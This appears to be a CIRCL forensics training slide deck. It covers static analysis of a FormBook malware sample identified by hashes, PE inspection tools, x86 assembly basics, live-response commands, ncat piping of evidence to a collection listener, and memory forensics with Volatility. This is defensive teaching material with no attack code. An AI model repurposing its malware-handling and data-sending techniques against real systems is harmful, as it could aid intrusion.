Published	Yes 2023-03-30 03:34:10
#Attributes	4006 (417 Objects)
First recorded change	2023-03-29 00:05:26
Last change	2023-03-30 00:03:02
Modification map	
Sightings	506 (0)
Activity	
Correlation	Enabled (disable)

MalwareBazaar malware samples for 2024-11-20 — 2024-11-20 — 1
MalwareBazaar malware samples for 2024-11-15 — 2024-11-15 — 1
MalwareBazaar malware samples for 2024-11-09 — 2024-11-09 — 1
MalwareBazaar malware samples for 2024-11-08 — 2024-11-08
MalwareBazaar malware samples for 2024-11-07 — 2024-11-07 — 1
MalwareBazaar malware samples for 2024-11-02 — 2024-11-02 — 1

Show (473 more)

Related Feeds (show)

Malware Bazaar (119)
Malware (Freemium) (120)
Malware (121)

Pivots | Galaxy | Event graph | Event timeline | Correlation graph | Galaxy matrix | Event reports | Attributes | Discussion

154060: MalwareBa...

Galaxies

« previous | next » | view all

Scope toggle | Deleted | Decay score | Context | Related Tags | Filtering tool (1) | Expand all Objects | Collapse all Attributes | a8371cb187d9971169

Date	Context	Category	Type	Value	Tags	Galaxies	Comment	Correlate	Related Events	Feed hits	IDS	Distribution	Sightings	Activ
2023-03-29	ae9...06e	Object name: file References: 0	md5 :: md5	a8371cb187d99711691ccbecf8f35657 Hide the Attribute			Malware payload (Formbook)					Inherit		
2023-03-29	700...2fc	Payload delivery	md5: md5	a8371cb187d99711691ccbecf8f35657	exe x FormBook x		Malware payload (Formbook)	✓		119	✓	Inherit	(0/0/0)	

4.3 Sandbox - Joe

4.3 Sandbox - Joe

JoeSandbox Cloud BASIC

Overview | Signatures | Process Tree | Domains / IPs | Dropped | Static | Network | Stats | Behavior | Disassembly

Windows Analysis Report

Create Interactive Tour

Form.exe

Overview

General Information

Sample name:	Form.exe
Analysis ID:	1569184
MD5:	a8371cb187d9971...
SHA1:	8dec32121d2f9f87...
SHA256:	784560f38065089f...
Infos:	

Detection

MALICIOUS

SUSPICIOUS

CLEAN

UNKNOWN

FormBook

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

- Antivirus / Scanner detection for submitted sa...
- Malicious sample detected (through communit...
- Multi AV Scanner detection for submitted file
- Yara detected FormBook
- AI detected suspicious sample
- Machine Learning detection for sample
- AV process strings found (often used to termin...
- Checks if the current process is being debugged
- Contains functionality for execution timing, ofte...
- Contains functionality to access loader functio...
- Detected potential crypto function
- One or more processes crash
- PE file does not import any functions

Classification

Process Tree

- System is w10x64
- Form.exe (PID: 3680 cmdline: "C:\Users\user\Desktop\Form.exe" MD5: A8371CB187D99711691CCBECF8F35657)
  - WerFault.exe (PID: 6776 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3680 -s 228 MD5: C31336C1EFC2CCB44B4326EA793040F2)
- cleanup

4.3 Sandbox - Joe

4.3 Sandbox - Cuckoo3

cert-ee / cuckoo3

Type / to search

Code | Issues 73 | Pull requests 1 | Discussions | Actions | Projects 1 | Security | Insights

cuckoo3 Public

Watch 26 | Fork 84 | Star 647

main | 1 Branch | 1 Tag | Go to file | Add file | Code

cert-ee-raidar Merge pull request #170 from cert-ee/feat/template_fix — 64d9aab · 3 months ago — 891 Commits

.github	fix: Fixed template location	3 months ago
INSTALL	docs: Quickstart	3 months ago
common	Add ids_flag and timestamp to Misp processing, search usi...	10 months ago
core	chore: Changed default configuration values to match new ...	3 months ago
devtools	Add devtool to generate and update cwd migration txt files	3 years ago
docs	docs: Fixed errors and phrasing in web-ui configuration	3 months ago
docsrfc/rfc	Merge branch 'mkdocs' into delivery	3 years ago
machineries	Support Python 3.10	last year
node	Support Python 3.10	last year
processing	Add ids_flag and timestamp to Misp processing, search usi...	10 months ago
web	Bump braces from 3.0.2 to 3.0.3 in /web/cuckoo/web/clientsrc	6 months ago
.gitignore	update for release	3 years ago
CODE_OF_CONDUCT.md	Create CODE_OF_CONDUCT.md	3 months ago
CONTRIBUTING.md	Create CONTRIBUTING.md	3 months ago
LICENSE	update for release	3 years ago
README.md	docs: Quickstart	3 months ago
install.sh	Not needed anymore because pycrypto removed from poach	last year

About

Cuckoo3 is a Python 3 open source automated malware analysis system.

cuckoo-hatch.cert.ee

Readme
EUPL-1.2 license
Code of conduct
Activity
Custom properties
647 stars
26 watching
84 forks
Report repository

Releases

1 tags

Packages

No packages published

Contributors 8

Languages

4.4 Static Analysis

- Malware delivery: Email
  - Office documents
  - PDF
  - .EXE
- Analyze:
  - Hash values
  - Strings
  - Resources
  - Imported functions
  - Exported functions
  - Certificate
  - .....

  $\rightarrow$ Capabilities of the malware

4.4 Static Analysis - Strings

```
pestr -n 7 Form.exe | less
```

```
!This program cannot be run in DOS mode.
<Ar5<zw1<Zv
EThis program cannot be run in DOS mode.
:Yf/yZjP
[)sk/Jo
X|e^BZ8
Rh%';,V
```

```
pescan Form.exe
```

```
file entropy:                    7.322160 (probably packed)
fpu anti-disassembly:            no
imagebase:                       normal
entrypoint:                      normal
DOS stub:                        normal
TLS directory:                   not found
timestamp:                       normal
section count:                   1 (low)
```

```
pesec Form.exe
```

```
ASLR:                            yes
DEP/NX:                          yes
SEH:                             yes
Stack cookies (EXPERIMENTAL):    yes
```

4.4 Static Analysis - PE - Portable Execution format

- Describe program files
- Contain:
  - Meta data
  - Instructions
  - Text data
  - Resources: Pictures and alike
- Tell Windows how to load a program
- Provide resources to running program
- Provide resources like code signature

```
| 1. DOS Header                          |
| 2. PE Header                           |
| 3. OPtional Header                     |
| 4. Section Headers                     |
| 5. .text Section (Program Code)        |
| 6. .idata Section (Importd Libs)       |
| 7. .rsrc Section (Strings, Images, ...) |
| 8. .reloc Section (Memory Translation) |
```

4.4 Static Analysis - PE - Basic Analysis

```
file Form.exe
```

```
Form.exe: PE32 executable (GUI) Intel 80386, for MS Windows
```

```
exiftool Form.exe
```

```
File Name                       : Form.exe
File Size                       : 186 KiB
.....
File Type                       : Win32 EXE
File Type Extension             : exe
MIME Type                       : application/octet-stream
Machine Type                    : Intel 386 or later, and compatibles
Time Stamp                      : 2000:07:31 02:00:25+02:00
Image File Characteristics      : Executable, 32-bit
PE Type                         : PE32
Linker Version                  : 11.0
Code Size                       : 185856
Initialized Data Size           : 0
Uninitialized Data Size         : 0
Entry Point                     : 0x12e0
OS Version                      : 6.0
Image Version                   : 0.0
Subsystem Version               : 6.0
Subsystem                       : Windows GUI
Warning                         : Error processing PE data dictionary
```

4.4 Static Analysis - PE - Basic Analysis

```
file Quotation.exe
```

```
Quotation.exe: PE32 executable (GUI) Intel 80386, for MS Windows
```

```
exiftool Quotation.exe
```

```
...
Machine Type                    : Intel 386 or later, and compatibles
Time Stamp                      : 2005:08:14 14:47:46+02:00
PE Type                         : PE32
Linker Version                  : 6.0
Code Size                       : 647168
Initialized Data Size           : 32768
Uninitialized Data Size         : 0
Entry Point                     : 0x15f4
OS Version                      : 4.0
Character Set                   : Unicode
Comments                        : Natcher
Company Name                    : Glucosazone
Legal Copyright                 : CRUSTER3
Legal Trademarks                : Forearming
Product Name                    : UNKLE
File Version                    : 1.02.0009
Product Version                 : 1.02.0009
Internal Name                   : Aurous
Original File Name              : Aurous.exe
```

4.4 Static Analysis - PE - Header

```
readpe -H Form.exe
```

```
DOS Header
    Magic number:                       0x5a4d (MZ)
    Bytes in last page:                 144
    Pages in file:                      3
    .....

Optional/Image header
    Magic number:                       0x10b (PE32)
    Linker major version:               11
    Linker minor version:               0
    Size of .text section:              0x2d600
    Size of .data section:              0
    Size of .bss section:               0
    Entrypoint:                         0x12e0
    Address of .text section:           0x1000
    Address of .data section:           0x2f000
    ImageBase:                          0x400000
    Alignment of sections:              0x1000
    Alignment factor:                   0x200
    .....
    Size of image:                      0x2f000
    Size of headers:                    0x200
    Checksum:                           0
    Subsystem required:                 0x2 (IMAGE_SUBSYSTEM_WINDOWS_GUI)
    DLL characteristics:                0x8140
    .....
```

4.4 Static Analysis - PE - Imported Functions

```
readpe -i ../1.exe
```

```
    Library
        Name:                       COMCTL32.dll
        Functions
                Name:                       ImageList_GetDragImage
                Name:                       ImageList_Merge
                Name:                       ImageList_SetOverlayImage
                Name:                       UninitializeFlatSB
                Name:                       ImageList_DragEnter
    Library
        Name:                       OLEAUT32.dll
        Functions
            Function
                Ordinal:                    294
    Library
        Name:                       ADVAPI32.dll
        Functions
                Name:                       RegOpenKeyExA
                Name:                       MapGenericMask
                Name:                       AdjustTokenGroups
                Name:                       SetSecurityDescriptorDacl
                Name:                       GetSecurityDescriptorLength
                Name:                       StartServiceA
                Name:                       OpenServiceA
    Library
        Name:                       MSVCRT.dll
        Functions
                Name:                       _mbsspnp
    .....
```

4.4 Static Analysis - PE - Resources

```
wrestool -l ../1.exe
```

```
--type=3 --name=23166 --language=2064 [type=icon offset=0x398cd8 size=455]
--type=3 --name=23167 --language=2064 [type=icon offset=0x398e78 size=648]
--type=3 --name=23168 --language=2064 [type=icon offset=0x398f78 size=642]
--type=3 --name=23169 --language=2064 [type=icon offset=0x399118 size=671]
--type=3 --name=23170 --language=2064 [type=icon offset=0x399358 size=1152]
--type=3 --name=23171 --language=2064 [type=icon offset=0x3995d8 size=1401]
--type=3 --name=23172 --language=2064 [type=icon offset=0x399a18 size=739]
--type=5 --name=34145 --language=2064 [type=dialog offset=0x398740 size=426]
--type=5 --name=34146 --language=2064 [type=dialog offset=0x3988f0 size=382]
--type=5 --name=34147 --language=2064 [type=dialog offset=0x398a70 size=562]
--type=9 --name=44061 --language=2064 [type=accelerator offset=0x3986e8 size=88]
--type=0 --name=5676 --language=2064 [offset=0x398ca8 size=11]
--type=0 --name=5677 --language=2064 [offset=0x398cb8 size=30]
--type=0 --name=5678 --language=2064 [offset=0x399c58 size=219344]
--type=0 --name=5679 --language=2064 [offset=0x3cf528 size=3852]
--type=14 --name=63607 --language=2064 [type=group_icon offset=0x398e60 size=20]
--type=14 --name=63608 --language=2064 [type=group_icon offset=0x398f60 size=20]
--type=14 --name=63609 --language=2064 [type=group_icon offset=0x399100 size=20]
--type=14 --name=63610 --language=2064 [type=group_icon offset=0x399340 size=20]
--type=14 --name=63611 --language=2064 [type=group_icon offset=0x3995c0 size=20]
--type=14 --name=63612 --language=2064 [type=group_icon offset=0x399a00 size=20]
--type=14 --name=63613 --language=2064 [type=group_icon offset=0x399c40 size=20]
```

4.4 Static Analysis - Considerations

- Perfect disassembly $\rightarrow$ Unsolved problem
- Linear disassembly
  - Identify the program code
  - Decode the bytes
- Linear disassembly limitations
  - Don't know how instructions get decoded by CPU
  - Could not counter fight obfuscation
- Obfuscation techniques
  - Packing
  - Resource Obfuscation
  - Anti-Disassembly
  - Dynamic Data Download
- Counter fight obfuscation
  - Dynamic Analysis
  - Run malware in isolated environment

4.5 x86 Assembly: General-Purpose Registers

https://www.cs.virginia.edu/ evans/cs216/guides/x86.html

4.5 x86 Assembly: Stack and Control Flow Registers

https://www.cs.virginia.edu/ evans/cs216/guides/x86.html

4.5 x86 Assembly: Instructions

```
Arithmetic:       add ebx, 100        Adds 100 to the value in EBX
                  sub ecx, 123        Substract 123 from the value in ECX
                  inc ah              Increments value in AH by 1
                  dec al              Decrements value in AL by 1

Data Movement:    mov eax, ebx        Move value in EBX into register EAX
                  mov eax, [0x4711]   Move value at memory 0x4711 intp EAX
                  mov eax, 1          Move the value 1 into register EAX
                  mov [0x4711], eax   Move value of EAX into memory 0x4711

Stack:            push 1              Increment ESP; Store 1 on top of stack
                  pop eax             Store highest value in EAX; Decrement ESP

Control Flow:     call [address]      1. Put EIP on top of the stack
                                      2. Put [address] into EIP
                  ret                 1. Popped top of teh stack into EIP
                                      2. Resume execution
                  jmp 0x1234          Start executing progamm code at 0x1234
                  cmp eax, 100        1. Compares value in EAX with 100
                                      2. Based on result set EFLAGS register
                  jge 0x1234          1. Interpret EFLAGS register
                                      2. If 'greater' or 'equal' flag then jump
```

4.5 x86 Assembly: Control Flow Graphs

```
start:              Symbol for address of next instruction
mov eax, 3          Initialize a counter of 3 into EAX

loop:               Symbol for address of next instruction
sub eax, 1          Substract 1 from value in EAX
cmp 0, eax          Compare value in EAX with 0; Set EFLAGS
jne $loop           IF EFLAGS 'not equal' jump to 'loop'

end:                Symbol for address of next instruction
mov eax, 12
```

.

4.5 x86 Assembly: Control Flow Graphs

```
start:              Symbol for address of next instruction
mov eax, 3          Initialize a counter of 3 into EAX

loop:               Symbol for address of next instruction
sub eax, 1          Substract 1 from value in EAX
cmp 0, eax          Compare value in EAX with 0; Set EFLAGS
jne $loop           IF EFLAGS 'not equal' jump to 'loop'

end:                Symbol for address of next instruction
mov eax, 12
```

```
 ____________    ------>   ____________    ------>   ____________
| start:     |     ---->  | loop:      |             | end:       |
| __________ |    |       | __________ |             | __________ |
|            |    |       |            |             |            |
| mov eax, 3 |    |       | sub eax, 1 |             | mov eax, 12 |
|            |    |       | cmp 0, eax |             |            |
 ____________     ----    | jne $loop  |              ____________
                          |            |
                           ____________
```

.

CIRCL
FORENSICS Training

5. Analysing files

5.1 Analysing files

- Standard Linux commands

  `file`
  `strings`
  `exiftool`
  `md5sum, sha1sum`
  `7z`
  .....

- Dedicated tools

  `oledump.py`
  `pdfid.py, pdf-parser.py`
  `VirusTotal tools`
  .....

- Exercise: Run `exiftool` on carving recovered documents

5.2 Analysing files

- Online resources

  NSRL - National Software Reference Library
  VirusTotal
  CIRCL: DMA
  CIRCL: MISP Threat Sharing Platform

- Demo: Search MD5

  `A479C4E7ED87AEDAFAD7D9936DC80115`
  `81e9036aed5502446654c8e5a1770935`

- Analysing files could become a training on it's own

5.2 Analysing files: Outlook PST

1. Preparation:

```
sudo mount -o ro,offset=$((512*63)) nps-2008-jean.raw /media/sansforensics/casenps/
mkdir outlook
mkdir outlook/out
```

2. Copy .pst file

```
cp /media/sansforensics/casenps/Documents\ and\ Settings/Jean/Local\ Settings/
        Application\ Data/Microsoft/Outlook/outlook.pst outlook/.
```

3. Extract Emails

```
file outlook/outlook.pst
    outlook/outlook.pst: Microsoft Outlook email folder (<=2002)


readpst outlook/outlook.pst -o outlook/out/


cd outlook/out/
ls
    Inbox.mbox    Outbox.mbox    'Sent Items.mbox'
```

5.2 Analysing files: Outlook PST

4. Analyze Emails

```
less Sent\ Items.mbox

    I've attached the information that you have requested to this email message.
    .....
    .....
   ------Original Message------
    From: alison@m57.biz [mailto:tuckgorge@gmail.com]
    Sent: Sunday, July 20, 2008 2:23 AM
    To: jean@m57.biz
    Subject: Please send me the information now
    .....
    Hi, Jean.
    I'm sorry to bother you, but I really need that information now ---
    .....
   -----boundary-LibPST-iamunique-1836211713_-_-
        filename="m57biz.xls"


less Inbox.mbox

    From "tuckgorge@gmail.com" Sun Jul 20 01:22:45 2008
    X-Original-To: jean@m57.biz
    To: jean@m57.biz
    From: tuckgorge@gmail.com (alison@m57.biz)
```

CIRCL
FORENSICS Training

6. Live Response

6.1 Volatile Data

- Memory dump
- Live analysis:
  - → System time
  - → Logged-on users
  - → Open files
  - → Network -connections -status
  - → Process information -memory
  - → Process / port mapping
  - → Clipboard content
  - → Services
  - → Command history
  - → Mapped drives / shares
  - → !!! Do not store information on the subject system !!!
- Image of live system (Possible issues)
- Shutdown and image if possible

6.1 Collecting Volatile Data

https://docs.microsoft.com/en-us/sysinternals/

- System Time

```
> date /t & time /t            # Don't foget to note wall-clock-time
    Tue 03/26/2019             # Note timezone of PC
    01:31 PM
```

- Loggedon Users

```
> net session

> .\PsLoggedon.exe
    Users logged on locally:
         3/26/2019 1:30:23 PM       John-PC\John
    No one is logged on via resource shares.

> .\logonsessions.exe
    [5] Logon session 00000000:0001ad9d:
        User name:    John-PC\John
        Auth package: NTLM
        Logon type:   Interactive
        Session:      1
        Sid:          S-1-5-21-3031575581-801213887-4188682232-1001
        Logon time:   3/26/2019 1:30:23 PM
        Logon server: JOHN-PC
```

6.1 Collecting Volatile Data

- Open Files

```
> net file

> .\psfile.exe
```

- Network Connections and Status

```
> netstat -anob
    Proto  Local Address        Foreign Address      State          PID    RpcSs
    TCP    0.0.0.0:135          0.0.0.0:0            LISTENING      696    [svchost.exe]
    TCP    0.0.0.0:445          0.0.0.0:0            LISTENING      4
    TCP    0.0.0.0:554          0.0.0.0:0            LISTENING      2504   [wmpnetwk.exe]
    TCP    0.0.0.0:10243        0.0.0.0:0            LISTENING      4
    TCP    0.0.0.0:49152        0.0.0.0:0            LISTENING      364    [wininit.exe]

> netstat -rn
    Network Destination        Netmask          Gateway       Interface  Metric
              0.0.0.0          0.0.0.0         10.0.2.2       10.0.2.15     10
             10.0.2.0    255.255.255.0         On-link        10.0.2.15    266
            10.0.2.15  255.255.255.255         On-link        10.0.2.15    266

> ipconfig /all
```

6.1 Collecting Volatile Data

- Running Processes

```
> tasklist
  Image Name                     PID Session Name        Session#    Mem Usage
  ========================== ======== ================ ============ ============
  System                           4 Services                   0        600 K
  smss.exe                       252 Services                   0        792 K
  csrss.exe                      328 Services                   0      3,224 K
  wininit.exe                    364 Services                   0      3,316 K
  csrss.exe                      372 Console                    1      4,196 K
  winlogon.exe                   400 Console                    1      6,272 K
  services.exe                   460 Services                   0      6,628 K
  lsass.exe                      468 Services                   0      8,428 K
  lsm.exe                        476 Services                   0      3,040 K
  svchost.exe                    584 Services                   0      6,596 K
  cmd.exe                       3100 Console                    1      2,480 K

> tasklist /svc
  Image Name                     PID Services
  ========================== ======== ============================================
  svchost.exe                    584 DcomLaunch, PlugPlay, Power
  svchost.exe                    696 RpcEptMapper, RpcSs
  svchost.exe                    792 Audiosrv, Dhcp, eventlog,
                                     HomeGroupProvider, lmhosts, wscsvc
  svchost.exe                    844 AudioEndpointBuilder, CscService,
                                     HomeGroupListener, Netman, TrkWks, UxSms,
  svchost.exe                    876 EventSystem, fdPHost, FontCache, netprofm,
                                     nsi, WdiServiceHost
```

6.1 Collecting Volatile Data

- Running Processes

```
> .\pslist.exe -x

> .\pslist.exe -t
  Name                          Pid  Pri  Thd   Hnd      VM      WS    Priv
  explorer                     1252    8   26   912  212044   47672   36304
    VBoxTray                    360    8   12   153   61384    5624    1476
    cmd                         548    8    1    24   29256    2564    2628
      pslist                   3452   13    1   123   45908    3640    1652
    WzPreloader                1244    8    6   119  109748    9064   11224
    cmd                        3100    8    1    20   27464    2480    1804

> .\Listdlls.exe

> .\handle.exe
```

- Processes/Port Mapping

```
> .\tcpvcon -n -c -a
  TCP,svchost.exe,692,LISTENING,0.0.0.0,0.0.0.0
  TCP,System,4,LISTENING,10.0.2.15,0.0.0.0
  TCP,wmpnetwk.exe,2428,LISTENING,0.0.0.0,0.0.0.0
  TCP,wininit.exe,364,LISTENING,0.0.0.0,0.0.0.0
  TCP,svchost.exe,776,LISTENING,0.0.0.0,0.0.0.0
  TCP,svchost.exe,896,LISTENING,0.0.0.0,0.0.0.0
  TCP,services.exe,460,LISTENING,0.0.0.0,0.0.0.0
```

6.1 Collecting Volatile Data

- Command History

```
> doskey /history
    netstat -anob
    .\Listdlls.exe
    .\handle.exe
    .\tcpvcon -n -c -a
    cls
    doskey /history
```

- Processes/Port Mapping

6.2 Non Volatile Data

- Clear Pagefile at shutdown

```
> reg QUERY "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management"
    .....
    ClearPageFileAtShutdown    REG_DWORD    0x0
    .....
```

- Update Last Access disabled

```
> reg QUERY "HKLM\SYSTEM\CurrentControlSet\Control\FileSystem"
    .....
    NtfsDisableLastAccessUpdate    REG_DWORD    0x0
    .....
```

- Autostart locations

```
> .\Autoruns.exe
```

Autorun Entry	Description	Publisher	Image Path	Timestamp
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\AlternateShell				7/14/2009 5:37 AM
cmd.exe	Windows Command Processor	(Verified) Microsoft Windows	c:\windows\system32\cmd....	11/20/2010 10:00 AM
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run				2/8/2019 2:21 PM
VBoxTray	VirtualBox Guest Additions Tr...	(Verified) Oracle Corporation	c:\windows\system32\vboxt...	11/8/2018 8:50 PM
WinZip PreLoader	WinZip Preloader	(Verified) Corel Corporation	c:\program files\winzip\wzpr...	12/11/2017 4:42 PM
WinZip UN	WinZip Update Notifier	(Verified) Corel Corporation	c:\program files\winzip\wzup...	9/18/2017 12:27 PM
HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components				2/7/2019 5:02 PM
n/a	Microsoft .NET IE SECURIT...	(Verified) Microsoft Corporation	c:\windows\system32\mscor...	2/27/2014 9:58 AM
Themes Setup	Microsoft(C) Register Server	(Verified) Microsoft Windows	c:\windows\system32\regsv...	7/14/2009 12:58 AM
Windows Deskt...	Microsoft(C) Register Server	(Verified) Microsoft Windows	c:\windows\system32\regsv...	7/14/2009 12:58 AM
HKLM\SOFTWARE\Classes\Protocols\Filter				2/7/2019 4:46 PM
application/octe...	Microsoft .NET Runtime Exe...	(Verified) Microsoft Corporation	c:\windows\system32\mscor...	3/5/2010 4:06 AM
application/x-co...	Microsoft .NET Runtime Exe...	(Verified) Microsoft Corporation	c:\windows\system32\mscor...	3/5/2010 4:06 AM
application/x-ms...	Microsoft .NET Runtime Exe...	(Verified) Microsoft Corporation	c:\windows\system32\mscor...	3/5/2010 4:06 AM
HKLM\Software\Classes*\ShellEx\ContextMenuHandlers				2/8/2019 10:49 AM
7-Zip	7-Zip Shell Extension	(Not verified) Igor Pavlov	c:\program files\7-zip\7-zip.dll	12/30/2018 8:00 AM
WinZip	WinZip Shell Extension DLL	(Verified) Corel Corporation	c:\program files\winzip\wzsh...	12/11/2017 5:11 PM

6.3 Across the network

- Get Nmap command-line zipfile

  `https://nmap.org/download.html`

- On Linux set up a netcat listener

```
nc -k -l 9999 >> logfile.txt
```

- Sending from subject system

```
ncat aaa.bbb.ccc.ddd 9999

echo "Date and Time" | ncat.exe aaa.bbb.ccc.ddd 9999
date /t | ncat.exe aaa.bbb.ccc.ddd 9999
time /t | ncat.exe aaa.bbb.ccc.ddd 9999
echo "---------------" | ncat.exe aaa.bbb.ccc.ddd 9999
```

CIRCL
FORENSICS Training

7. Memory Forensics

7.1 About Memory Forensics

- History
  - 2005: String search
  - $\rightarrow$ EProcess structures
- Finding EProcess structures
  - Find the doubly linked list (ntoskrnl.exe)
  - Brute Force searching
- Information expected
  - Processes (hidden)
  - Services (listening)
  - Malware
  - Network connections
  - Registry content
  - Passwords
  - Cleartext data

7.2 Capturing memory

- Prepare USB device
  - File system: ExFAT; NTFS
  - Executable capturing tool
  - No installation - Little impact as possible
  - Write capture on device
  - Administrator privileges required

- Capture memory from running system
  - DumpIt.exe
  - `DumpIt.exe` part of Comae-Toolkit
  - `https://www.comae.com/`
  - `https://github.com/Crypt2Shell/Comae-Toolkit/`

```
cd Z:\comae\x86\
DumpIt.exe /OUTPUT memory_20201215_1138.bin
-- Press y to write the memory dump into the working directory
```

7.2 Capturing memory

Service Pack: Service Pack 3
User Name: IEUser
Password: Passw0rd!

Snapshot/backup:
Create a snapshot (or keep a backup of downloaded archive) before first booting and working with this VM, so that you can reset quickly after the OS trial expires.

and are therefore time

et in order to activate

Command Prompt - .\DumpIt.exe /OUTPUT memoryXPvnc202206.bin

```
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\IEUser>e:

E:\>cd memory\x86\

E:\memory\x86>.\DumpIt.exe /OUTPUT memoryXPvnc202206.bin

  DumpIt 3.0.20201127.1 (X86) (Nov 27 2020)
  Copyright (C) 2007 - 2020, Matt Suiche (msuiche)
  Copyright (C) 2016 - 2020, Comae Technologies DMCC (https://www.comae.com)
  All rights reserved.

  DumpIt is the best for acquisition but... our platform Stardust is also the be
st for analysis!
  Access it on https://my.comae.com - info@comae.com if you have any questions.

    Destination path:           \??\E:\memory\x86\memoryXPvnc202206.bin

    Computer name:              IE6WINXP


    --> Proceed with the acquisition ? [y/n]
```

7.2 Capturing memory

- Hibernation file: `hiberfil.sys`
  - Created when going into hibernation mode
  - Fully fleded memory content
  - Compressed and slightly modified
  - Can be converted into raw memory dump
  - Force hibernation:

```
powercfg /h[ibernate] [on|off]
psshutdown -h
```

- Pagefile: `pagefile.sys`
- Swapfile: `swapfile.sys` (Windows 8)
- Crash dump: `memory.dmp` (Blue Screen)

7.3 BulkExtractor Exercise

1. Preparation

```
sudo mount -o ro,offset=$((512*2048)) circl-dfir.dd /media/case1

mkdir memory
mkdir memory/out

cp /media/case1/memory/* memory
cd memory
```

2. BulkExtractor

```
bulk_extractor -o out/ DEMO-PC-20180315-160249.raw
```

3. Investigate results

```
ls -lh out/

less out/url_histogram.txt
less out/email_histogram.txt
less out/aes_keys.txt
```

7.4 Volatility Overview

Volatility 2 or Volatility 3

```
python vol.py -h | less
python vol.py -info | less
```

```
    ...
    imagecopy           Copies a physical address space out as a raw DD image
    imageinfo           Identify information for the image
    ...
    pslist              Print all running processes by following the EPROCESS lists
    psscan              Scan Physical memory for _EPROCESS pool allocations
    pstree              Print process list as a tree
    psxview             Find hidden processes with various process listings
    ...
    sockets             Print list of open sockets
    sockscan            Scan Physical memory for _ADDRESS_OBJECT objects (tcp sockets)
    ...
```

```
vol.py -f <filename><plugin [options]> --profile=<profile>
vol.py -f memdump.raw imageinfo
```

```
sudo apt install python3-pefile
git clone https://github.com/volatilityfoundation/volatility3.git
```

7.4 Volatility Overview: Exercise

Identify profile:

```
vol.py -f DEMO-PC-20180315-160249.raw imageinfo

      Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86
                 AS Layer1 : IA32PagedMemory (Kernel AS)
                 AS Layer2 : FileAddressSpace (memory/DEMO-PC-20180315-160249.raw)
                  PAE type : No PAE
                       DTB : 0x185000L
                      KDBG : 0x82954c70L
       Number of Processors : 1
  Image Type (Service Pack) : 1
             KPCR for CPU 0 : 0x82955d00L
          KUSER_SHARED_DATA : 0xffdf0000L
        Image date and time : 2018-03-15 16:02:54 UTC+0000
  Image local date and time : 2018-03-15 17:02:54 +0100


    --> vol.py -f <filename><plugin [options]> --profile=Win7SP1x86_23418


export VOLATILITY_PROFILE=Win7SP1x86_23418

    --> vol.py -f <filename><plugin [options]>
```

7.5 Volatility: Process Analysis

`pslist`

- Running processes
- Process IP - PID
- Parent PIP - PPID
- Start time

`pstree`

- Like `pslist`
- Visual child-parent relation

`psscan`

- Brute Force
- Find inactive and/or hidden processes

`psxview`

- Run and compare some tests
- Correlate `psscan` and `pslist`

7.5 Volatility: Process Analysis

```
volatility --profile=Win7SP1x86 -f Win-Enc-20190415.raw pslist > pslist.txt
```

Offset(V)	Name	PID	PPID	Thds	Hnds	Ses	Wow64	Start
0x84233af0	System	4	0	70	505	----	0	2019-04-15 15:02:52 UTC+0000
0x848d8288	smss.exe	248	4	2	29	----	0	2019-04-15 15:02:52 UTC+0000
0x8487a700	csrss.exe	324	308	9	384	0	0	2019-04-15 15:02:54 UTC+0000
0x84fbb530	csrss.exe	360	352	7	274	1	0	2019-04-15 15:02:54 UTC+0000
0x84fc3530	wininit.exe	368	308	3	77	0	0	2019-04-15 15:02:54 UTC+0000
0x84fd0530	winlogon.exe	396	352	4	112	1	0	2019-04-15 15:02:54 UTC+0000
0x85048a18	services.exe	456	368	8	203	0	0	2019-04-15 15:02:55 UTC+0000
0x8505ac00	lsass.exe	464	368	7	580	0	0	2019-04-15 15:02:55 UTC+0000
0x8505caa0	lsm.exe	472	368	10	145	0	0	2019-04-15 15:02:55 UTC+0000
...								
...								
...								
0x85050b60	WmiPrvSE.exe	3268	564	9	175	0	0	2019-04-15 15:06:52 UTC+0000
0x8438bd40	owxxb-a.exe	3432	3368	15	471	1	0	2019-04-15 15:07:13 UTC+0000
0x84394030	VSSVC.exe	3676	456	6	123	0	0	2019-04-15 15:07:22 UTC+0000
0x84394488	svchost.exe	3728	456	6	70	0	0	2019-04-15 15:07:23 UTC+0000
0x84a243c8	notepad.exe	3820	3432	1	64	1	0	2019-04-15 15:08:05 UTC+0000
0x846d8030	iexplore.exe	3832	3432	19	427	1	0	2019-04-15 15:08:06 UTC+0000
0x846d2d40	iexplore.exe	3908	3832	11	293	1	0	2019-04-15 15:08:07 UTC+0000
0x846e5a58	dllhost.exe	3928	564	6	94	1	0	2019-04-15 15:08:07 UTC+0000
0x84684d40	dllhost.exe	4012	564	10	212	1	0	2019-04-15 15:08:08 UTC+0000

7.5 Volatility: Process Analysis

```
volatility --profile=Win7SP1x86 -f Win-Enc-20190415.raw psxview > psxview
```

Offset(P)	Name	PID	pslist	psscan	thrdproc	pspcid	csrss	session	deskthrd
.....									
.....									
0x3f60f030	taskhost.exe	352	True	True	True	True	True	True	True
0x3fa84d40	dllhost.exe	4012	True	True	True	True	True	True	True
0x3ec23148	spoolsv.exe	1296	True	True	True	True	True	True	True
0x3f63f470	explorer.exe	920	True	True	True	True	True	True	True
0x3ff0bd40	owxxb-a.exe	3432	True	True	True	True	True	True	True
0x3f3d0530	winlogon.exe	396	True	True	True	True	True	True	True
0x3f3c3530	wininit.exe	368	True	True	True	True	True	True	True
0x3ec9f030	svchost.exe	688	True	True	True	True	True	True	True
0x3ef3d758	VBoxTray.exe	1832	True	True	True	True	True	True	True
0x3fae5a58	dllhost.exe	3928	True	True	True	True	True	True	True
0x3ec50b60	WmiPrvSE.exe	3268	True	True	True	True	True	True	True
0x3ec88b90	svchost.exe	564	True	True	True	True	True	True	True
0x3ecd3768	svchost.exe	820	True	True	True	True	True	True	True
0x3ef4f030	SearchIndexer.	2008	True	True	True	True	True	True	True
0x3ec08d40	svchost.exe	1444	True	True	True	True	True	True	True
0x3ed10d40	svchost.exe	1008	True	True	True	True	True	True	True
0x3f6243c8	notepad.exe	3820	True	True	True	True	True	True	True
0x3ecd95f8	svchost.exe	852	True	True	True	True	True	True	True
0x3fad2d40	iexplore.exe	3908	True	True	True	True	True	True	True
.....									
.....									

